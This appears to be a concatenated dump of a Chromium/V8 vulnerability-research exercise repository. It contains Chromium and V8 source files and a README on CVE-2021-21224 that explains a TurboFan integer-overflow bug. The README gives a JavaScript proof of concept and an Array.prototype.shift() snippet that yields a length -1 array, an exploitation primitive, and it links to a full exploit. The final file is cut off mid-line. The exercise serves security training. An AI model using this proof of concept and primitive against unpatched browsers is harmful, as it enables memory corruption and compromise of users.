PrerenderResult { // The prerender finished entirely before the link was clicked. kSameOriginPrefetchFinished = 0, // The prerender was started but not finished before the user navigated or // backgrounded the page. kSameOriginPrefetchPartiallyComplete = 1, // The link was waiting to be prerendered while another prerender was in // progress. kSameOriginPrefetchInQueue = 2, // The prerender was attempted, but a prerender mechanism skipped the // prerender. kSameOriginPrefetchSkipped = 3, // The link was same origin, but scored poorly in the decider logic. kSameOriginBelowThreshold = 4, // The URL was not seen in the load event. kSameOriginNotSeen = 5, // The link was cross origin and scored above the threshold, but we did not // prerender it. kCrossOriginAboveThreshold = 6, // The link was cross origin and scored below the threshold. kCrossOriginBelowThreshold = 7, // The URL was not seen in the load event. kCrossOriginNotSeen = 8, kMaxValue = kCrossOriginNotSeen, }; private: // Struct holding navigation score, rank and other info of the anchor element. // Used for look up when an anchor element is clicked. struct NavigationScore; // blink::mojom::AnchorElementMetricsHost: void ReportAnchorElementMetricsOnClick( blink::mojom::AnchorElementMetricsPtr metrics) override; void ReportAnchorElementMetricsOnLoad( std::vector metrics, const gfx::Size& viewport_size) override; // content::WebContentsObserver: void OnVisibilityChanged(content::Visibility visibility) override; void DidStartNavigation( content::NavigationHandle* navigation_handle) override; // prerender::NoStatePrefetchHandle::Observer: void OnPrefetchStop(prerender::NoStatePrefetchHandle* handle) override; void OnPrefetchNetworkBytesChanged( prerender::NoStatePrefetchHandle* handle) override {} // Returns true if the anchor element metric from the renderer process is // valid. bool IsValidMetricFromRenderer( const blink::mojom::AnchorElementMetrics& metric) const; // Returns template URL service. Guaranteed to be non-null. TemplateURLService* GetTemplateURLService() const; // Merge anchor element metrics that have the same target url (href). void MergeMetricsSameTargetUrl( std::vector* metrics) const; // Computes and stores document level metrics, including |number_of_anchors_| // etc. void ComputeDocumentMetricsOnLoad( const std::vector& metrics); // Given metrics of an anchor element from both renderer and browser process, // returns navigation score. Virtual for testing purposes. virtual double CalculateAnchorNavigationScore( const blink::mojom::AnchorElementMetrics& metrics, int area_rank) const; // If |sum_page_scales_| is non-zero, return the page-wide score to add to // all the navigation scores. Computed once per page. double GetPageMetricsScore() const; // Given a vector of navigation scores sorted in descending order, decide what // action to take, or decide not to do anything. Example actions including // preresolve, preload, prerendering, etc. void MaybeTakeActionOnLoad( const GURL& document_url, const std::vector>& sorted_navigation_scores); // Decides whether to prefetch a URL and, if yes, calls Prefetch. void MaybePrefetch(); // Given a url to prefetch, uses NoStatePrefetchManager to start a // NoStatePrefetch of that URL. virtual void Prefetch( prerender::NoStatePrefetchManager* no_state_prefetch_manager, const GURL& url_to_prefetch); // Returns a collection of URLs that can be prefetched. Only one should be // prefetched at a time. std::deque GetUrlsToPrefetch( const GURL& document_url, const std::vector>& sorted_navigation_scores); // Record anchor element metrics on page load. void RecordMetricsOnLoad( const blink::mojom::AnchorElementMetrics& metric) const; // Record timing information when an anchor element is clicked. void RecordTimingOnClick(); // Records the accuracy of the action taken by the navigator predictor based // on the action taken as well as the URL that was navigated to. // |target_url| is the URL navigated to by the user. void RecordActionAccuracyOnClick(const GURL& target_url) const; // Records metrics on which action the predictor is taking. void RecordAction(Action log_action); // Sends metrics to the UKM id at |ukm_source_id_|. void MaybeSendMetricsToUkm() const; // After an in-page click, sends the index of the url that was clicked to the // UKM id at |ukm_source_id_|. void MaybeSendClickMetricsToUkm(const std::string& clicked_url) const; // Returns the minimum of the bucket that |value| belongs in, for page-wide // metrics, excluding |median_link_location_|. int GetBucketMinForPageMetrics(int value) const; // Returns the minimum of the bucket that |value| belongs in, used for // |median_link_location_| and the |ratio_distance_root_top|. int GetLinearBucketForLinkLocation(int value) const; // Returns the minimum of the bucket that |value| belongs in, used for // |ratio_area|. int GetLinearBucketForRatioArea(int value) const; // Notifies the keyed service of the updated predicted navigation. void NotifyPredictionUpdated( const std::vector>& sorted_navigation_scores); // Record metrics about how many prerenders were started and finished. void RecordActionAccuracyOnTearDown(); // Used to get keyed services. content::BrowserContext* const browser_context_; // Maps from target url (href) to navigation score. std::unordered_map> navigation_scores_map_; // Total number of anchors that: href has the same host as the document, // contains image, inside an iframe, href incremented by 1 from document url. int number_of_anchors_same_host_ = 0; int number_of_anchors_contains_image_ = 0; int number_of_anchors_in_iframe_ = 0; int number_of_anchors_url_incremented_ = 0; int number_of_anchors_ = 0; // Viewport-related metrics for anchor elements: the viewport size, // the median distance down the viewport of all the links, and the // total clickable space for first viewport links. |total_clickable_space_| is // a percent (between 0 and 100). gfx::Size viewport_size_; int median_link_location_ = 0; float total_clickable_space_ = 0; // Anchor-specific scaling factors used to compute navigation scores. const int ratio_area_scale_; const int is_in_iframe_scale_; const int is_same_host_scale_; const int contains_image_scale_; const int is_url_incremented_scale_; const int area_rank_scale_; const int ratio_distance_root_top_scale_; // Page-wide scaling factors used to compute navigation scores. const int link_total_scale_; const int iframe_link_total_scale_; const int increment_link_total_scale_; const int same_origin_link_total_scale_; const int image_link_total_scale_; const int clickable_space_scale_; const int median_link_location_scale_; const int viewport_height_scale_; const int viewport_width_scale_; // Sum of all scales for individual anchor metrics. // Used to normalize the final computed weight. const int sum_link_scales_; // Sum of all scales for page-wide metrics. const int sum_page_scales_; // True if device is a low end device. const bool is_low_end_device_; // Minimum score that a URL should have for it to be prefetched. Note // that scores of origins are computed differently from scores of URLs, so // they are not comparable. const int prefetch_url_score_threshold_; // True if |this| should use the NoStatePrefetchManager to prefetch. const bool prefetch_enabled_; // True by default, otherwise navigation scores will not be normalized // by the sum of metrics weights nor normalized from 0 to 100 across // all navigation scores for a page. const bool normalize_navigation_scores_; // A count of clicks to prevent reporting more than 10 clicks to UKM. size_t clicked_count_ = 0; // Whether a new navigation has started (only set if load event comes before // DidStartNavigation). bool next_navigation_started_ = false; // True if the source webpage (i.e., the page on which we are trying to // predict the next navigation) is a page from user's default search engine. bool source_is_default_search_engine_page_ = false; // Current visibility state of the web contents. content::Visibility current_visibility_; // Current prefetch handle. std::unique_ptr no_state_prefetch_handle_; // URL that we decided to prefetch, and are currently prefetching. base::Optional prefetch_url_; // An ordered list of URLs that should be prefetched in succession. std::deque urls_to_prefetch_; // URLs that were successfully prefetched. std::set urls_prefetched_; // URLs that scored above the threshold in sorted order. std::vector urls_above_threshold_; // URLs that had a prerender started, but were canceled due to background or // next navigation. std::set partial_prerfetches_; // UKM ID for navigation ukm::SourceId ukm_source_id_; // UKM recorder ukm::UkmRecorder* ukm_recorder_ = nullptr; // The URL of the current page. GURL document_url_; // WebContents of the current page. const content::WebContents* web_contents_; SEQUENCE_CHECKER(sequence_checker_); DISALLOW_COPY_AND_ASSIGN(NavigationPredictor); }; #endif // CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_ ================================================ FILE: LEVEL_3/exercise_2/README.md ================================================ # Exercise 2 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21224 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1195777
-------- ### Set environment Welcome to V8 if you have fetched v8, just ```sh git reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3 gclient sync ``` But if you not ```sh # get depot_tools git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git # add to env var echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc # get v8 source code fetch v8 # chenge to right commit cd v8 git reset --hard f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3 # download others gclient sync ``` ### Related code src/compiler/representation-change.cc tips: Integer overflow ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer ```c++ // The {UseInfo} class is used to describe a use of an input of a node. // // This information is used in two different ways, based on the phase: // // 1. During propagation, the use info is used to inform the input node // about what part of the input is used (we call this truncation) and what // is the preferred representation. For conversions that will require // checks, we also keep track of whether a minus zero check is needed. // // 2. During lowering, the use info is used to properly convert the input // to the preferred representation. The preferred representation might be // insufficient to do the conversion (e.g. word32->float64 conv), so we also // need the signedness information to produce the correct value. // Additionally, use info may contain {CheckParameters} which contains // information for the deoptimizer such as a CallIC on which speculation // should be disallowed if the check fails. ``` When do truncation we need check the `{CheckParameters}` like `use_info.type_check() == TypeCheckKind::kSignedSmall`, and if the check fails will trigger deoptimize. ```c++ enum class TypeCheckKind : uint8_t { kNone, kSignedSmall, kSigned32, kSigned64, kNumber, kNumberOrBoolean, kNumberOrOddball, kHeapObject, kBigInt, kArrayIndex }; ``` The reasons for bug is missing a check of `use_info` ```c++ Node* RepresentationChanger::GetWord32RepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kInt32Constant: case IrOpcode::kInt64Constant: case IrOpcode::kFloat32Constant: case IrOpcode::kFloat64Constant: UNREACHABLE(); case IrOpcode::kNumberConstant: { double const fv = OpParameter(node->op()); if (use_info.type_check() == TypeCheckKind::kNone || ((use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32 || use_info.type_check() == TypeCheckKind::kNumber || use_info.type_check() == TypeCheckKind::kNumberOrOddball || use_info.type_check() == TypeCheckKind::kArrayIndex) && IsInt32Double(fv))) { return MakeTruncatedInt32Constant(fv); } break; } default: break; } // Select the correct X -> Word32 operator. const Operator* op = nullptr; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), node); [ ... ] } else if (output_rep == MachineRepresentation::kWord8 || output_rep == MachineRepresentation::kWord16) { DCHECK_EQ(MachineRepresentation::kWord32, use_info.representation()); DCHECK(use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32); return node; } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(Type::Signed32()) || output_type.Is(Type::Unsigned32())) { op = machine()->TruncateInt64ToInt32(); [1] } else if (output_type.Is(cache_->kSafeInteger) && use_info.truncation().IsUsedAsWord32()) { op = machine()->TruncateInt64ToInt32(); ``` [1] Truncate Int64 To Int32 without check. This lead to Integer overflow. We should search for how can we insert one `TruncateInt64ToInt32` node. I have no idea about it but I guess `kWord64` var as `Signed32` and `Unsigned32` can convert from Int64 to Int32, and we can set 0xffffffff for y(Word32) and if convert to int32 can be -1. **Poc** ```js function foo(a) { let x = -1; if(a) x = 0xffffffff; return -1 < Math.max(x,0); } console.log(foo(true)) //prints true for (let i = 0; i < 0x10000; ++i) foo(false) console.log(foo(true)) //prints false ``` When construct Poc of turbofan, we need analysis turbolizer or break at `../../src/compiler/representation-change.cc:853` to know whether we get kWord64 and convert to int32. I get this poc form [there](https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html#rca-of-issue-1195777) checkbounds—elimination had been bannde and `Array.prototype.shift()` is a trick which has been patched now, but this commit can trigger it, we can make array length == -1 by shift ```js let vuln_array = new Array(0 - Math.max(0, x)); vuln_array.shift(); ``` full exp can be found [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1195777#c15)
-------- ================================================ FILE: LEVEL_3/exercise_2/representation-change.cc ================================================ // Copyright 2015 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/compiler/representation-change.h" #include #include "src/base/bits.h" #include "src/codegen/code-factory.h" #include "src/compiler/js-heap-broker.h" #include "src/compiler/machine-operator.h" #include "src/compiler/node-matchers.h" #include "src/compiler/simplified-operator.h" #include "src/compiler/type-cache.h" #include "src/heap/factory-inl.h" namespace v8 { namespace internal { namespace compiler { const char* Truncation::description() const { switch (kind()) { case TruncationKind::kNone: return "no-value-use"; case TruncationKind::kBool: return "truncate-to-bool"; case TruncationKind::kWord32: return "truncate-to-word32"; case TruncationKind::kWord64: return "truncate-to-word64"; case TruncationKind::kOddballAndBigIntToNumber: switch (identify_zeros()) { case kIdentifyZeros: return "truncate-oddball&bigint-to-number (identify zeros)"; case kDistinguishZeros: return "truncate-oddball&bigint-to-number (distinguish zeros)"; } case TruncationKind::kAny: switch (identify_zeros()) { case kIdentifyZeros: return "no-truncation (but identify zeros)"; case kDistinguishZeros: return "no-truncation (but distinguish zeros)"; } } UNREACHABLE(); } // Partial order for truncations: // // kAny <-------+ // ^ | // | | // kOddballAndBigIntToNumber | // ^ | // / | // kWord64 | // ^ | // | | // kWord32 kBool // ^ ^ // \ / // \ / // \ / // \ / // \ / // kNone // // TODO(jarin) We might consider making kBool < kOddballAndBigIntToNumber. // static Truncation::TruncationKind Truncation::Generalize(TruncationKind rep1, TruncationKind rep2) { if (LessGeneral(rep1, rep2)) return rep2; if (LessGeneral(rep2, rep1)) return rep1; // Handle the generalization of float64-representable values. if (LessGeneral(rep1, TruncationKind::kOddballAndBigIntToNumber) && LessGeneral(rep2, TruncationKind::kOddballAndBigIntToNumber)) { return TruncationKind::kOddballAndBigIntToNumber; } // Handle the generalization of any-representable values. if (LessGeneral(rep1, TruncationKind::kAny) && LessGeneral(rep2, TruncationKind::kAny)) { return TruncationKind::kAny; } // All other combinations are illegal. FATAL("Tried to combine incompatible truncations"); return TruncationKind::kNone; } // static IdentifyZeros Truncation::GeneralizeIdentifyZeros(IdentifyZeros i1, IdentifyZeros i2) { if (i1 == i2) { return i1; } else { return kDistinguishZeros; } } // static bool Truncation::LessGeneral(TruncationKind rep1, TruncationKind rep2) { switch (rep1) { case TruncationKind::kNone: return true; case TruncationKind::kBool: return rep2 == TruncationKind::kBool || rep2 == TruncationKind::kAny; case TruncationKind::kWord32: return rep2 == TruncationKind::kWord32 || rep2 == TruncationKind::kWord64 || rep2 == TruncationKind::kOddballAndBigIntToNumber || rep2 == TruncationKind::kAny; case TruncationKind::kWord64: return rep2 == TruncationKind::kWord64 || rep2 == TruncationKind::kOddballAndBigIntToNumber || rep2 == TruncationKind::kAny; case TruncationKind::kOddballAndBigIntToNumber: return rep2 == TruncationKind::kOddballAndBigIntToNumber || rep2 == TruncationKind::kAny; case TruncationKind::kAny: return rep2 == TruncationKind::kAny; } UNREACHABLE(); } // static bool Truncation::LessGeneralIdentifyZeros(IdentifyZeros i1, IdentifyZeros i2) { return i1 == i2 || i1 == kIdentifyZeros; } namespace { bool IsWord(MachineRepresentation rep) { return rep == MachineRepresentation::kWord8 || rep == MachineRepresentation::kWord16 || rep == MachineRepresentation::kWord32; } } // namespace RepresentationChanger::RepresentationChanger(JSGraph* jsgraph, JSHeapBroker* broker) : cache_(TypeCache::Get()), jsgraph_(jsgraph), broker_(broker), testing_type_errors_(false), type_error_(false) {} // Changes representation from {output_rep} to {use_rep}. The {truncation} // parameter is only used for checking - if the changer cannot figure // out signedness for the word32->float64 conversion, then we check that the // uses truncate to word32 (so they do not care about signedness). Node* RepresentationChanger::GetRepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { if (output_rep == MachineRepresentation::kNone && !output_type.IsNone()) { // The output representation should be set if the type is inhabited (i.e., // if the value is possible). return TypeError(node, output_rep, output_type, use_info.representation()); } // Rematerialize any truncated BigInt if user is not expecting a BigInt. if (output_type.Is(Type::BigInt()) && output_rep == MachineRepresentation::kWord64 && use_info.type_check() != TypeCheckKind::kBigInt) { node = InsertConversion(node, simplified()->ChangeUint64ToBigInt(), use_node); output_rep = MachineRepresentation::kTaggedPointer; } // Handle the no-op shortcuts when no checking is necessary. if (use_info.type_check() == TypeCheckKind::kNone || // TODO(nicohartmann@, chromium:1077804): Ignoring {use_info.type_check()} // in case the representation already matches is not correct. For now, // this behavior is disabled only for TypeCheckKind::kBigInt, but should // be fixed for all other type checks. (output_rep != MachineRepresentation::kWord32 && use_info.type_check() != TypeCheckKind::kBigInt)) { if (use_info.representation() == output_rep) { // Representations are the same. That's a no-op. return node; } if (IsWord(use_info.representation()) && IsWord(output_rep)) { // Both are words less than or equal to 32-bits. // Since loads of integers from memory implicitly sign or zero extend the // value to the full machine word size and stores implicitly truncate, // no representation change is necessary. return node; } } switch (use_info.representation()) { case MachineRepresentation::kTaggedSigned: DCHECK(use_info.type_check() == TypeCheckKind::kNone || use_info.type_check() == TypeCheckKind::kSignedSmall); return GetTaggedSignedRepresentationFor(node, output_rep, output_type, use_node, use_info); case MachineRepresentation::kTaggedPointer: DCHECK(use_info.type_check() == TypeCheckKind::kNone || use_info.type_check() == TypeCheckKind::kHeapObject || use_info.type_check() == TypeCheckKind::kBigInt); return GetTaggedPointerRepresentationFor(node, output_rep, output_type, use_node, use_info); case MachineRepresentation::kTagged: DCHECK_EQ(TypeCheckKind::kNone, use_info.type_check()); return GetTaggedRepresentationFor(node, output_rep, output_type, use_info.truncation()); case MachineRepresentation::kFloat32: DCHECK_EQ(TypeCheckKind::kNone, use_info.type_check()); return GetFloat32RepresentationFor(node, output_rep, output_type, use_info.truncation()); case MachineRepresentation::kFloat64: DCHECK_NE(TypeCheckKind::kBigInt, use_info.type_check()); return GetFloat64RepresentationFor(node, output_rep, output_type, use_node, use_info); case MachineRepresentation::kBit: DCHECK_EQ(TypeCheckKind::kNone, use_info.type_check()); return GetBitRepresentationFor(node, output_rep, output_type); case MachineRepresentation::kWord8: case MachineRepresentation::kWord16: case MachineRepresentation::kWord32: return GetWord32RepresentationFor(node, output_rep, output_type, use_node, use_info); case MachineRepresentation::kWord64: DCHECK(use_info.type_check() == TypeCheckKind::kNone || use_info.type_check() == TypeCheckKind::kSigned64 || use_info.type_check() == TypeCheckKind::kBigInt || use_info.type_check() == TypeCheckKind::kArrayIndex); return GetWord64RepresentationFor(node, output_rep, output_type, use_node, use_info); case MachineRepresentation::kSimd128: case MachineRepresentation::kNone: return node; case MachineRepresentation::kCompressed: case MachineRepresentation::kCompressedPointer: UNREACHABLE(); } UNREACHABLE(); } Node* RepresentationChanger::GetTaggedSignedRepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kNumberConstant: if (output_type.Is(Type::SignedSmall())) { return node; } break; default: break; } // Select the correct X -> Tagged operator. const Operator* op; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kTaggedSigned), node); } else if (IsWord(output_rep)) { if (output_type.Is(Type::Signed31())) { op = simplified()->ChangeInt31ToTaggedSigned(); } else if (output_type.Is(Type::Signed32())) { if (SmiValuesAre32Bits()) { op = simplified()->ChangeInt32ToTagged(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) { op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (output_type.Is(Type::Unsigned32()) && use_info.type_check() == TypeCheckKind::kSignedSmall) { op = simplified()->CheckedUint32ToTaggedSigned(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(Type::Signed31())) { // int64 -> int32 -> tagged signed node = InsertTruncateInt64ToInt32(node); op = simplified()->ChangeInt31ToTaggedSigned(); } else if (output_type.Is(Type::Signed32()) && SmiValuesAre32Bits()) { // int64 -> int32 -> tagged signed node = InsertTruncateInt64ToInt32(node); op = simplified()->ChangeInt32ToTagged(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) { if (output_type.Is(cache_->kPositiveSafeInteger)) { op = simplified()->CheckedUint64ToTaggedSigned(use_info.feedback()); } else if (output_type.Is(cache_->kSafeInteger)) { op = simplified()->CheckedInt64ToTaggedSigned(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (output_rep == MachineRepresentation::kFloat64) { if (output_type.Is(Type::Signed31())) { // float64 -> int32 -> tagged signed node = InsertChangeFloat64ToInt32(node); op = simplified()->ChangeInt31ToTaggedSigned(); } else if (output_type.Is(Type::Signed32())) { // float64 -> int32 -> tagged signed node = InsertChangeFloat64ToInt32(node); if (SmiValuesAre32Bits()) { op = simplified()->ChangeInt32ToTagged(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) { op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (output_type.Is(Type::Unsigned32()) && use_info.type_check() == TypeCheckKind::kSignedSmall) { // float64 -> uint32 -> tagged signed node = InsertChangeFloat64ToUint32(node); op = simplified()->CheckedUint32ToTaggedSigned(use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) { node = InsertCheckedFloat64ToInt32( node, output_type.Maybe(Type::MinusZero()) ? CheckForMinusZeroMode::kCheckForMinusZero : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback(), use_node); if (SmiValuesAre32Bits()) { op = simplified()->ChangeInt32ToTagged(); } else { op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback()); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (output_rep == MachineRepresentation::kFloat32) { if (use_info.type_check() == TypeCheckKind::kSignedSmall) { node = InsertChangeFloat32ToFloat64(node); node = InsertCheckedFloat64ToInt32( node, output_type.Maybe(Type::MinusZero()) ? CheckForMinusZeroMode::kCheckForMinusZero : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback(), use_node); if (SmiValuesAre32Bits()) { op = simplified()->ChangeInt32ToTagged(); } else { op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback()); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (CanBeTaggedPointer(output_rep)) { if (use_info.type_check() == TypeCheckKind::kSignedSmall) { op = simplified()->CheckedTaggedToTaggedSigned(use_info.feedback()); } else if (output_type.Is(Type::SignedSmall())) { op = simplified()->ChangeTaggedToTaggedSigned(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else if (output_rep == MachineRepresentation::kBit) { if (use_info.type_check() == TypeCheckKind::kSignedSmall) { // TODO(turbofan): Consider adding a Bailout operator that just deopts. // Also use that for MachineRepresentation::kPointer case above. node = InsertChangeBitToTagged(node); op = simplified()->CheckedTaggedToTaggedSigned(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedSigned); } return InsertConversion(node, op, use_node); } Node* RepresentationChanger::GetTaggedPointerRepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kHeapConstant: case IrOpcode::kDelayedStringConstant: if (use_info.type_check() == TypeCheckKind::kBigInt) break; return node; // No change necessary. case IrOpcode::kInt32Constant: case IrOpcode::kFloat64Constant: case IrOpcode::kFloat32Constant: UNREACHABLE(); default: break; } // Select the correct X -> TaggedPointer operator. Operator const* op; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kTaggedPointer), node); } if (use_info.type_check() == TypeCheckKind::kBigInt && !output_type.Is(Type::BigInt())) { // BigInt checks can only be performed on tagged representations. Note that // a corresponding check is inserted down below. if (!CanBeTaggedPointer(output_rep)) { Node* unreachable = InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotABigInt); return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kTaggedPointer), unreachable); } } if (output_rep == MachineRepresentation::kBit) { if (output_type.Is(Type::Boolean())) { op = simplified()->ChangeBitToTagged(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTagged); } } else if (IsWord(output_rep)) { if (output_type.Is(Type::Unsigned32())) { // uint32 -> float64 -> tagged node = InsertChangeUint32ToFloat64(node); } else if (output_type.Is(Type::Signed32())) { // int32 -> float64 -> tagged node = InsertChangeInt32ToFloat64(node); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedPointer); } op = simplified()->ChangeFloat64ToTaggedPointer(); } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(cache_->kSafeInteger)) { // int64 -> float64 -> tagged pointer op = machine()->ChangeInt64ToFloat64(); node = jsgraph()->graph()->NewNode(op, node); op = simplified()->ChangeFloat64ToTaggedPointer(); } else if (output_type.Is(Type::BigInt()) && use_info.type_check() == TypeCheckKind::kBigInt) { op = simplified()->ChangeUint64ToBigInt(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedPointer); } } else if (output_rep == MachineRepresentation::kFloat32) { if (output_type.Is(Type::Number())) { // float32 -> float64 -> tagged node = InsertChangeFloat32ToFloat64(node); op = simplified()->ChangeFloat64ToTaggedPointer(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedPointer); } } else if (output_rep == MachineRepresentation::kFloat64) { if (output_type.Is(Type::Number())) { // float64 -> tagged op = simplified()->ChangeFloat64ToTaggedPointer(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedPointer); } } else if (CanBeTaggedSigned(output_rep) && use_info.type_check() == TypeCheckKind::kHeapObject) { if (!output_type.Maybe(Type::SignedSmall())) { return node; } // TODO(turbofan): Consider adding a Bailout operator that just deopts // for TaggedSigned output representation. op = simplified()->CheckedTaggedToTaggedPointer(use_info.feedback()); } else if (IsAnyTagged(output_rep) && (use_info.type_check() == TypeCheckKind::kBigInt || output_type.Is(Type::BigInt()))) { if (output_type.Is(Type::BigInt())) { return node; } op = simplified()->CheckBigInt(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTaggedPointer); } return InsertConversion(node, op, use_node); } Node* RepresentationChanger::GetTaggedRepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Truncation truncation) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kNumberConstant: case IrOpcode::kHeapConstant: case IrOpcode::kDelayedStringConstant: return node; // No change necessary. case IrOpcode::kInt32Constant: case IrOpcode::kFloat64Constant: case IrOpcode::kFloat32Constant: UNREACHABLE(); default: break; } if (output_rep == MachineRepresentation::kTaggedSigned || output_rep == MachineRepresentation::kTaggedPointer) { // this is a no-op. return node; } // Select the correct X -> Tagged operator. const Operator* op; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kTagged), node); } else if (output_rep == MachineRepresentation::kBit) { if (output_type.Is(Type::Boolean())) { op = simplified()->ChangeBitToTagged(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTagged); } } else if (IsWord(output_rep)) { if (output_type.Is(Type::Signed31())) { op = simplified()->ChangeInt31ToTaggedSigned(); } else if (output_type.Is(Type::Signed32()) || (output_type.Is(Type::Signed32OrMinusZero()) && truncation.IdentifiesZeroAndMinusZero())) { op = simplified()->ChangeInt32ToTagged(); } else if (output_type.Is(Type::Unsigned32()) || (output_type.Is(Type::Unsigned32OrMinusZero()) && truncation.IdentifiesZeroAndMinusZero()) || truncation.IsUsedAsWord32()) { // Either the output is uint32 or the uses only care about the // low 32 bits (so we can pick uint32 safely). op = simplified()->ChangeUint32ToTagged(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTagged); } } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(Type::Signed31())) { // int64 -> int32 -> tagged signed node = InsertTruncateInt64ToInt32(node); op = simplified()->ChangeInt31ToTaggedSigned(); } else if (output_type.Is(Type::Signed32())) { // int64 -> int32 -> tagged node = InsertTruncateInt64ToInt32(node); op = simplified()->ChangeInt32ToTagged(); } else if (output_type.Is(Type::Unsigned32())) { // int64 -> uint32 -> tagged node = InsertTruncateInt64ToInt32(node); op = simplified()->ChangeUint32ToTagged(); } else if (output_type.Is(cache_->kPositiveSafeInteger)) { // uint64 -> tagged op = simplified()->ChangeUint64ToTagged(); } else if (output_type.Is(cache_->kSafeInteger)) { // int64 -> tagged op = simplified()->ChangeInt64ToTagged(); } else if (output_type.Is(Type::BigInt())) { // uint64 -> BigInt op = simplified()->ChangeUint64ToBigInt(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTagged); } } else if (output_rep == MachineRepresentation::kFloat32) { // float32 -> float64 -> tagged node = InsertChangeFloat32ToFloat64(node); op = simplified()->ChangeFloat64ToTagged( output_type.Maybe(Type::MinusZero()) ? CheckForMinusZeroMode::kCheckForMinusZero : CheckForMinusZeroMode::kDontCheckForMinusZero); } else if (output_rep == MachineRepresentation::kFloat64) { if (output_type.Is(Type::Signed31())) { // float64 -> int32 -> tagged node = InsertChangeFloat64ToInt32(node); op = simplified()->ChangeInt31ToTaggedSigned(); } else if (output_type.Is( Type::Signed32())) { // float64 -> int32 -> tagged node = InsertChangeFloat64ToInt32(node); op = simplified()->ChangeInt32ToTagged(); } else if (output_type.Is( Type::Unsigned32())) { // float64 -> uint32 -> tagged node = InsertChangeFloat64ToUint32(node); op = simplified()->ChangeUint32ToTagged(); } else if (output_type.Is(Type::Number()) || (output_type.Is(Type::NumberOrOddball()) && truncation.TruncatesOddballAndBigIntToNumber())) { op = simplified()->ChangeFloat64ToTagged( output_type.Maybe(Type::MinusZero()) ? CheckForMinusZeroMode::kCheckForMinusZero : CheckForMinusZeroMode::kDontCheckForMinusZero); } else { return TypeError(node, 